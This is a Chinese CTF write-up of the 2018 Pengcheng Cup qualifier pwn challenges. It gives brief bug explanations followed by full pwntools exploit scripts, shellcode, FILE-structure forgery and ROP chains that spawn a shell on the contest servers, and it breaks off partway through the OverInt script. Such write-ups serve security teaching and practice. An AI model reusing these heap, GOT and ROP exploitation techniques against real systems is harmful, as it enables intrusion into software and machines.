2018鹏城杯 初赛 Writeup By Lilac

招一位web安全人员交流玩耍, 有意联系 echo -n N2ZlaWxlZUBnbWFpbC5jb20= | base64 -d

PWN

note

add note的功能存在溢出可以覆盖索引数组的下标为负数,可以hijack got表,这里选了close@got,NX关了可以在堆上执行shellcode,用jmp指令连接起来就行

from pwn import *

def add(index,length,content):
    p.sendline("1")
    sleep(0.5)
    p.sendline(str(index))
    sleep(0.5)
    p.sendline(length)
    sleep(0.5)
    p.sendline(content)
    sleep(0.5)

#p = process("./note")
p = remote("58.20.46.151",41214)

add(0,"13" + "\x00"*8 + p32(0xfffffff3), 'H1\xd2\x90\x90P\xeb\x18')
add(0,"13",'H\x8d=9\x00\x00\x00\xeb\x17')
add(0,"13", '^\xb0;\x0f\x05')
add(0,"13","/bin/sh")
p.sendline("2")
p.interactive()

random

printf_chk可以用来leak libc、elfbase、heap。fopen会在堆上分配空间存放io file结构体,fclose以后指针没有清空存在uaf,scanf("%1000s",)会先分配一个大堆来存放输入,利用uaf可以在原来的file结构体上伪造一个新的结构体,设置好vtable在fread的时候拿shell

from pwn import *
import struct

_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
    return struct.unpack("<Q",data)[0]

def _u32(data):
    return struct.unpack("<I",data)[0]

def _u16(data):
    return struct.unpack("<H",data)[0]

def _u8(data):
    return ord(data)

def _usz(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _ua(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _p64(data):
    return struct.pack("<Q",data)

def _p32(data):
    return struct.pack("<I",data)

def _p16(data):
    return struct.pack("<H",data)

def _p8(data):
    return chr(data)

def _psz(data):
    if _BITS == 32:
        return _p32(data)
    elif _BITS == 64:
        return _p64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _pa(data):
    if _BITS == 32:
        return struct.pack("<I", data)
    elif _BITS == 64:
        return struct.pack("<Q", data)
    else:
        print("[-] Invalid _BITS")
        exit()

class _IO_FILE_plus:
    def __init__(self):
        self._flags = 0xfbad2887         # High-order word is _IO_MAGIC; rest is flags.
        self._IO_read_ptr = 0   # Current read pointer
        self._IO_read_end = 0   # End of get area
        self._IO_read_base = 0  # Start of putback+get area
        self._IO_write_base = 0 # Start of put area
        self._IO_write_ptr = 0  # Current put pointer
        self._IO_write_end = 0  # End of put area
        self._IO_buf_base = 0   # Start of reserve area
        self._IO_buf_end = 0    # End of reserve area

        # The following fields are used to support backing up and undo.
        self._IO_save_base = 0      # Pointer to start of non-current get area
        self._IO_backup_base = 0    # Pointer to first valid character of backup area
        self._IO_save_end = 0       # Pointer to end of non-current get area

        self._markers = 0
        self._chain = 0

        self._fileno = 0
        self._flags2 = 0
        self._old_offset = 0    # This used to be _offset but it's too small

        # 1+column number of pbase(); 0 is unknown
        self._cur_column = 0
        self._vtable_offset = 0
        self._shortbuf = 0

        self._lock = 0

        if not _IO_USE_OLD_IO_FILE:
            self._offset = 0
            self._codecvt = 0
            self._wide_data = 0
            self._freeres_list = 0
            self._freeres_buf = 0
            self.__pad5 = 0
            self._mode = 0
            self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
        self.vtable = 0

    def tostr(self):
        buf = _p64(self._flags & 0xffffffff) + \
            _pa(self._IO_read_ptr) + \
            _pa(self._IO_read_end) + \
            _pa(self._IO_read_base) + \
            _pa(self._IO_write_base) + \
            _pa(self._IO_write_ptr) + \
            _pa(self._IO_write_end) + \
            _pa(self._IO_buf_base) + \
            _pa(self._IO_buf_end) + \
            _pa(self._IO_save_base) + \
            _pa(self._IO_backup_base) + \
            _pa(self._IO_save_end) + \
            _pa(self._markers) + \
            _pa(self._chain) + \
            _p32(self._fileno) + \
            _p32(self._flags2) + \
            _p64(self._old_offset) + \
            _p16(self._cur_column) + \
            _p8(self._vtable_offset) + \
            _p8(self._shortbuf)
        if _BITS == 64:
            buf += _p32(0)
        buf += _pa(self._lock)
        if not _IO_USE_OLD_IO_FILE:
            buf += \
            _p64(self._offset) + \
            _pa(self._codecvt) + \
            _pa(self._wide_data) + \
            _pa(self._freeres_list) + \
            _pa(self._freeres_buf) + \
            _psz(self.__pad5) + \
            _p32(self._mode) + \
            ''.join(map(lambda x:_p8(x), self._unused2)) +\
            _pa(self.vtable)
        return buf

    def __str__(self):
        return self.tostr()

def c1():
    p.sendline("1")
    sleep(0.5)

def c2(payload="1"):
    p.sendline("2")
    sleep(0.5)
    p.sendline(payload)
    sleep(0.5)
    p.sendline("0")
    sleep(0.5)

def c3():
    p.sendline("3")
    sleep(0.5)


#p = process("./random")#,env = {"LD_PRELOAD": "./libc.so"})
p = remote("58.20.46.151",41963)
libc = ELF("./libc.so")
c1()
c3()
payload = "%p"*393 + "hello1" + "%p" *12 + "hello2" + "%p"
p.sendline("2")
sleep(0.5)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("hello1")
addr1 = int(p.recv(14),16)
p.recvuntil("hello2")
addr2 = int(p.recv(14),16)

elf = addr1 - 0x2020B0
libc.address = addr2 - 0x20830
print hex(elf),hex(libc.address)

one = 0xf1147 + libc.address

payload = "%p%p%p%p%p%p%p%p%p1111%s" + p64(elf + 0x2020A0)
p.sendline(payload)
sleep(0.5)
p.sendline("1")
sleep(0.5)
p.recvuntil("1111")
heap = u64(p.recv(6).ljust(8,"\x00"))
print hex(heap)
print "one: " + hex(one)
file = _IO_FILE_plus()
file._lock = heap+0x2000
file.vtable = heap + 0xe0
fake = file.tostr()
vtable = p64(0x00) + p64(one)*0x20
#print fake
p.sendline(fake+vtable)
sleep(0.3)
p.sendline("0")
#gdb.attach(p)
p.interactive()

treasure

程序允许输入9字节的shellcode,可以构造一个read系统调用输入新的shellcode覆盖原来的shellcode来拿shell

from pwn import *

context.arch = "amd64"
#p = process("./treasure")
p = remote("58.20.46.148",44112)

s = asm(
'''
    push rsi
    push rdx
    pop rsi
    pop rdx
    xor rdi,rdi
    syscall
'''
)

p.sendlineafter("will you continue?(enter 'n' to quit) :","1")

p.sendafter("start!!!!",s)
nop = asm("nop")
p.sendline(nop*20 + asm(shellcraft.sh()))
p.interactive()

code

首先需要过check, 暴力跑出一个可行解就行了

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char char_set[] = "sABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char key[8];
unsigned long long val = 0;


void inc_key(){
    unsigned long long temp = val;
    for(int i=0; i<8; ++i){
        unsigned int cur_idx = temp % 53;
        key[i] = *(char *)(char_set + cur_idx);
        temp = temp / 53;
    }
    val++;
}

long long hash(){
  int64_t v0; // ST08_8
  int v2; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
  int64_t v4; // [rsp+18h] [rbp-8h]

  v4 = 0LL;
  v2 = strlen(key);
  for ( i = 0; i < v2; ++i )
  {
    v0 = 117 * v4 + key[i];
    v4 = v0
       - 0x1D5E0C579E0LL
       * (((long long)(((__uint128_t)(-8396547321047930811LL * v0) >> 64) + v0) >> 40)
        - (v0 >> 63));
  }
  return v4;
}

int main(){
    char_set[0] = '\x00';
    long long ret;
    int iter =0;
    unsigned long long total = 53^8;
    while(key[8] != 'z' ){
        iter++;
        // puts(key);
        if ( hash() == 0x53CBEB035LL ){
            break;
        }
        inc_key();
    }
    if(key[8] == 0xff){
        puts("no result");
    }
    puts(key);
    return 0;
}

然后就是简单的栈溢出rop, 先leak puts 的地址, 然后再跳到one gadget即可

from pwn import *
import time

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'


ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda   : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)


ip = "58.20.46.148"
port = 38733

LOCAL = False
X86_32 = False


break_points = [0x4008AB]

b_str = ''
for break_point in break_points:
        b_str += "b *" + hex(break_point ) + '\n'

# libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
elf = ELF("./"+filename)

if LOCAL:
    io = process("./" + filename)
    libc = elf.libc
else:
    io = remote(ip, port)
    libc = ELF('libc.so.6')

def wait(t=0.3):
    sleep(t)

def mydebug():
  gdb.attach(io, b_str)

key = "wyBTs"
PrdiR = 0x400983
got_puts = 0x601018
puts_off = libc.symbols['puts']

payload = 'a'*0x70 + p64(got_puts+0x70) + p64(PrdiR) + p64(got_puts) + p64(0x40082d)
wait()
sl(key)
wait()
sl(payload)
ru('Success\n')
res = rl()[0:6]
puts_addr = u64(res+'\x00\x00')
log.info('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - puts_off
log.info('libc base: '+hex(libc_base))

one = libc_base + 0x4526a

wait()
sl(p64(one))

io.interactive()

OverInt

首先也是过两个check, 利用存在的整形溢出很好构造. 然后就可以任意地址写了.
第一次先同时leak puts 和 setbuf的地址, 然后算出libc.
第二次根据libc和leak的地址算出one gadget的地址, 跳到 one gadget即可
首先是计算绕过check的输入

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>


int target = 0x23;


int func(int v3, int i){
    return ((i>>4) + v3*4) ^ (i<<10);
}
int main(){
    int down = 0x21;
    int up = 127;
    for(char i=down; i<up; ++i){
        for(char j=down; j<up; ++j){
            for(char k=down; k<up; ++k){
                for(char l=128; l<255; ++l){
                    int v3 = 0;
                    v3 = func(v3, (int)i);
                    v3 = func(v3, (int)j);
                    v3 = func(v3, (int)k);
                    v3 = func(v3, (int)l);
                    int ret = v3 % 47 + (v3 % 47 < 0 ? 0x2F : 0);
                    if(ret == target){
                        printf("%d %d %d %x\n", i, j, k, l);
                        return 0;
                    }
                }
            }
        }
    }
    puts("no result");
    return 0;
}

然后getshell

from pwn import *
import time

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'info'

ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda   : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)



filename = "./overInt"
ip = "58.20.46.149"
port = 35533

LOCAL = True
X86_32 = False


break_points = [0x0400913, 0x4009AC, 0x400AA6]

b_str = ''
for break_point in break_points:
        b_str += "b *" + hex(break_point ) + '\n'

io = remote("58.20.46.149", 35533)
# io = process("./overInt")


def wait(t=0.3):
    sleep(t)

def mydebug():
  if(not LOCAL):
    return
  gdb.attach(io, b_str)


def func(v3, i):
  return ((i>>4) + (
        

Hacking more

...